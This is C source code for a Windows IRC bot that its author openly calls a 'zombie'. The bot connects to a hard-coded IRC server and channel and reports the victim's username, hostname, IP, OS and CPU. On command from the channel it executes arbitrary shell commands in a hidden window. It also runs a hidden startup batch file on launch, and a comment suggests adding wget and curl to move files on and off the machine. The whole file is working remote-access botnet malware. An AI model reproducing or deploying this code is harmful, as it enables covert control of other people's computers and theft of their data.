| 1 | /* |
| 2 | HarveCter IRCBot 1.0b |
| 3 | This 31337 code by: Harvie 2oo7 |
| 4 | Windows IRC Bot/Zombie/Whatever you want... |
| 5 | |
| 6 | INFO: |
| 7 | Optimalized for Dev-Cpp |
| 8 | Compile as window app to make a daemon |
| 9 | |
| 10 | Warning: |
| 11 | There is not so big security!!! |
| 12 | If you want to keep your zombies, |
| 13 | control them only by PM or at completely secure channel!!! |
| 14 | All passwords, that are starting with your password will be accepted!!! |
| 15 | |
| 16 | COMMANDS: |
| 17 | Warning: all commands are case sensitive |
| 18 | |
| 19 | !login [login] //Bad login=logout |
| 20 | !chanpass //Set mode +k |
| 21 | |
| 22 | PRIVILEGED COMMANDS: |
| 23 | !SAY [msg] //Say msg |
| 24 | !CMD [shell command] //Execute command @ zombie |
| 25 | !raw [line to send] //Sends raw line to server (you can OP yourself) |
| 26 | !info //Info about zombie |
| 27 | !time //Localtime @ zombie |
| 28 | !show //Show console window |
| 29 | !hide //Hide console window |
| 30 | !restart //Restart connection |
| 31 | !respawn //Restart whole zombie |
| 32 | |
| 33 | Development comments: |
| 34 | 6 * 128 == 768 == Maximum lenght of IRC message (RFC) |
| 35 | */ |
| 36 | |
| 37 | //Preproc: |
| 38 | #include <stdio.h> |
| 39 | #include <time.h> |
| 40 | #include <stdlib.h> |
| 41 | #include <winsock.h> |
| 42 | #include <windows.h> |
| 43 | #pragma comment(lib,"ws2_32.a"); |
| 44 | |
| 45 | //Sends IRC message "msg" to "channel" over socket "s". |
| 46 | int irc_sendmsg(int s, char *channel, char *msg) { |
| 47 | int len, err; |
| 48 | char snd[1024]; |
| 49 | sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); |
| 50 | len = strlen(snd); |
| 51 | err = send(s, snd, len, 0); |
| 52 | printf("%s", snd); //Show |
| 53 | return err; |
| 54 | } |
| 55 | |
| 56 | //MAIN_FUNCTION:////////////////////////////////////////////////////////// |
| 57 | int main(int argc, char *argv[]) { |
| 58 | |
| 59 | //SETTINGS://///////////////////////////////////////////////////////////// |
| 60 | char server[] = "irc.2600.net"; //IRC Server |
| 61 | int port = 6667; //Port of IRC Server |
| 62 | char channel[] = "#hv"; //IRC Channel |
| 63 | char pass[] = "test"; //Bot Password |
| 64 | char chanpass[] = "lol"; //Channel Password |
| 65 | char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup |
| 66 | //MISC://///////////////////////////////////////////////////////////////// |
| 67 | char version[] = "1.0b"; //Bot version |
| 68 | char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead |
| 69 | char cmdfile[] = "zzzcommands.bat"; |
| 70 | //AllocConsole(); //Ukazat |
| 71 | //FreeConsole(); //Schovat... ;) |
| 72 | //freopen("log.txt", "ab", stdout); //Log all outputs to file |
| 73 | //INITIALIZATIONS://////////////////////////////////////////////////////// |
| 74 | srand(time(0)); |
| 75 | char lclhost[256], lclhostnm[256], hostmsg[1000]; |
| 76 | char *user, *processor, *root, *logonsrvr, *os, rnd[10]; |
| 77 | //Load enviroment variables |
| 78 | user = getenv("USERNAME"); |
| 79 | processor = getenv("PROCESSOR_IDENTIFIER"); |
| 80 | root = getenv("SystemRoot"); |
| 81 | logonsrvr = getenv("LOGONSERVER"); |
| 82 | os = getenv("OS"); |
| 83 | //Generate nick from username and random number |
| 84 | sprintf(rnd, "%i", rand()); |
| 85 | sprintf(nick, "H-%s-%s", user, rnd); |
| 86 | //time |
| 87 | struct tm *localtime(const time_t *tod); |
| 88 | struct tm *p_st_cas; |
| 89 | time_t cas; |
| 90 | //cmd |
| 91 | FILE *cmdf; |
| 92 | ////////////////////////////////////////////////////////////////////////// |
| 93 | //CODE://///////////////////////////////////////////////////////////////// |
| 94 | ////////////////////////////////////////////////////////////////////////// |
| 95 | |
| 96 | //Delete cmdfile (Hell knows it's useful...) |
| 97 | cmdf = fopen(cmdfile, "w"); |
| 98 | fprintf(cmdf, "del %s\n", cmdfile); |
| 99 | fclose(cmdf); |
| 100 | WinExec(cmdfile,SW_HIDE); |
| 101 | |
| 102 | //Print banner |
| 103 | printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); |
| 104 | //Execute startup script |
| 105 | WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) |
| 106 | |
| 107 | //Declarations for WSA |
| 108 | int s; |
| 109 | SOCKADDR_IN sck; |
| 110 | HOSTENT *host, *localhost; |
| 111 | WSADATA wsadata; |
| 112 | WSAStartup(MAKEWORD(1,1),&wsadata); |
| 113 | |
| 114 | //Set details for WSA |
| 115 | while( (host=gethostbyname(server)) == NULL){ //Host |
| 116 | printf("!Error server host not found\nwaiting 5s...\n"); |
| 117 | sleep(5000); |
| 118 | } |
| 119 | sck.sin_family = PF_INET; |
| 120 | memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); |
| 121 | sck.sin_port = htons(port); //Port |
| 122 | |
| 123 | //Info at localhost |
| 124 | while ((localhost=gethostbyname("")) == NULL) { |
| 125 | printf("!Error local host not found\nwaiting 5s...\n"); |
| 126 | sleep(5000); |
| 127 | } |
| 128 | sprintf(lclhostnm, "%s", localhost->h_name); |
| 129 | sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); |
| 130 | sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor); |
| 131 | printf("%s\n", hostmsg); |
| 132 | |
| 133 | //Initialization of strings used for IRC communication, etc... |
| 134 | int len, err; //Lenght, Error |
| 135 | char snd[1024], msg[1000], rcv[1024], passin[1000], *sub; |
| 136 | |
| 137 | //Infinite loop (bot can't stop) |
| 138 | while(1) { |
| 139 | |
| 140 | //Create socket |
| 141 | s=socket(AF_INET, SOCK_STREAM, 0); |
| 142 | |
| 143 | //Connect |
| 144 | while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { |
| 145 | printf("!Error while connecting\nwaiting 5s...\n"); |
| 146 | sleep(5000); |
| 147 | } |
| 148 | |
| 149 | //IRC Server login |
| 150 | sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); |
| 151 | len = strlen(snd); |
| 152 | err = send(s, snd, len, 0); |
| 153 | |
| 154 | //Join&Set channel password |
| 155 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 156 | sleep(1000); |
| 157 | err = send(s, snd, len, 0); |
| 158 | //mode #chan +k heslo |
| 159 | sleep(2000); |
| 160 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 161 | sleep(1000); |
| 162 | err = send(s, snd, len, 0); |
| 163 | |
| 164 | |
| 165 | //Send greetings |
| 166 | sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava |
| 167 | err = irc_sendmsg(s, channel, msg); |
| 168 | sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k) |
| 169 | err = irc_sendmsg(s, channel, msg); |
| 170 | |
| 171 | //Loop (while connection exists) |
| 172 | err = 1; |
| 173 | while( err && err != -1) { |
| 174 | |
| 175 | //JOIN |
| 176 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 177 | |
| 178 | //RECIEVE |
| 179 | memset(rcv, '\0', 1024); |
| 180 | sub = 0; |
| 181 | err = recv(s, rcv, 1024, 0); |
| 182 | printf("%s", rcv); |
| 183 | |
| 184 | //PING-PONG (Respond to server pings only) |
| 185 | if ( (sub = (strstr(rcv, "PING :"))) ) { |
| 186 | sub = sub+6; |
| 187 | sprintf(snd, "PONG :%s", sub); |
| 188 | len = strlen(snd); |
| 189 | err = send(s, snd, len, 0); |
| 190 | printf("%s", snd); |
| 191 | } |
| 192 | sub = 0; |
| 193 | |
| 194 | if ( (sub = (strstr(rcv, ":!chanpass"))) ) { |
| 195 | printf("!Setting chanpass\n"); |
| 196 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); |
| 197 | len = strlen(snd); |
| 198 | err = send(s, snd, len, 0); |
| 199 | } |
| 200 | sub = 0; |
| 201 | |
| 202 | //LOGIN |
| 203 | if ( (sub = (strstr(rcv, ":!login "))) ) { |
| 204 | sub = sub+8; |
| 205 | sprintf(passin, "%s", sub); |
| 206 | if ( strstr(passin, pass) ) { //Use this condition to check login. |
| 207 | sprintf(msg, "Login succesful"); |
| 208 | irc_sendmsg(s, channel, msg); |
| 209 | printf("\n!!!Login succesful\n"); |
| 210 | } else { |
| 211 | sprintf(msg, "Loged out"); |
| 212 | irc_sendmsg(s, channel, msg); |
| 213 | printf("!!!Loged out\n\n"); |
| 214 | } |
| 215 | } |
| 216 | sub = 0; |
| 217 | |
| 218 | //IF LOGED IN: |
| 219 | if ( strstr(passin, pass) ) { |
| 220 | |
| 221 | //SAY |
| 222 | if ( (sub = (strstr(rcv, ":!SAY "))) ) { |
| 223 | sub = sub+6; |
| 224 | sprintf(msg, "MSG: %s", sub); //Zprava |
| 225 | err = irc_sendmsg(s, channel, msg); |
| 226 | } |
| 227 | sub = 0; |
| 228 | |
| 229 | //INFO (USER, DOMAIN, IP, ARCHITECTURE) |
| 230 | if ( (sub = (strstr(rcv, ":!info"))) ) { |
| 231 | err = irc_sendmsg(s, channel, hostmsg); |
| 232 | } |
| 233 | sub = 0; |
| 234 | |
| 235 | //TIME |
| 236 | if ( (sub = (strstr(rcv, ":!time"))) ) { |
| 237 | printf("Time\n"); |
| 238 | //struct tm t; |
| 239 | |
| 240 | cas = time(NULL); |
| 241 | p_st_cas = localtime(&cas); |
| 242 | |
| 243 | strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); |
| 244 | err = irc_sendmsg(s, channel, msg); |
| 245 | } |
| 246 | sub = 0; |
| 247 | |
| 248 | //SEND RAW |
| 249 | if ( (sub = (strstr(rcv, ":!raw "))) ) { |
| 250 | sub = sub+6; |
| 251 | len = strlen(sub); |
| 252 | err = send(s, sub, len, 0); |
| 253 | } |
| 254 | sub = 0; |
| 255 | |
| 256 | //SHELL |
| 257 | //Hey! Don't forget to download wget&curl in bot directory!! ;D |
| 258 | //With wget and curl you will be able to download and upload files... |
| 259 | if ( (sub = (strstr(rcv, ":!CMD "))) ) { |
| 260 | sub = sub+6; |
| 261 | sprintf(snd, "%s", sub); |
| 262 | printf("!CMD %s", snd); |
| 263 | |
| 264 | sprintf(msg, "Executing: %s", sub); |
| 265 | irc_sendmsg(s, channel, msg); |
| 266 | printf("!!! %s", msg); |
| 267 | |
| 268 | FILE *cmdf = fopen(cmdfile, "w"); |
| 269 | fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile); |
| 270 | fclose(cmdf); |
| 271 | |
| 272 | WinExec(cmdfile,SW_HIDE); //Hide console window |
| 273 | //system(cmdfile); //Show console window |
| 274 | } |
| 275 | sub = 0; |
| 276 | |
| 277 | //HIDE/SHOW |
| 278 | if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; |
| 279 | if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0; |
| 280 | |
| 281 | //RESTART connection to server |
| 282 | if ( (sub = (strstr(rcv, ":!restart"))) ) { |
| 283 | sprintf(msg, "Please wait while restarting..."); |
| 284 | err = irc_sendmsg(s, channel, msg); |
| 285 | closesocket(s); |
| 286 | sprintf(msg, "ERROR: Couldn't close socket :("); |
| 287 | err = irc_sendmsg(s, channel, msg); |
| 288 | printf("\nRESTARTING...\n\n"); |
| 289 | } |
| 290 | sub = 0; |
| 291 | |
| 292 | //RESPAWN (restarts all) |
| 293 | if ( (sub = (strstr(rcv, ":!respawn"))) ) { |
| 294 | sprintf(msg, "Please wait while respawning..."); |
| 295 | err = irc_sendmsg(s, channel, msg); |
| 296 | printf("\nRESPAWNING...\n\n"); |
| 297 | closesocket(s); |
| 298 | execl(argv[0], NULL); //Exchange old process for new (argv[0]) |
| 299 | sprintf(msg, "ERROR: Couldn't respawn :("); |
| 300 | err = irc_sendmsg(s, channel, msg); |
| 301 | printf("ERROR: Couldn't respawn :(\n"); |
| 302 | } |
| 303 | sub = 0; |
| 304 | |
| 305 | }//END LOCKED COMMANDS |
| 306 | }//LoopEND |
| 307 | |
| 308 | //Close |
| 309 | closesocket(s); |
| 310 | printf("!Error while sending\nwaiting 5s before reconnect...\n"); |
| 311 | sleep(5000); |
| 312 | }//InfiniteLoopEND |
| 313 | |
| 314 | //Zavrit |
| 315 | closesocket(s); |
| 316 | WSACleanup(); //Flush WSA |
| 317 | return(0); |
| 318 | |
| 319 | } |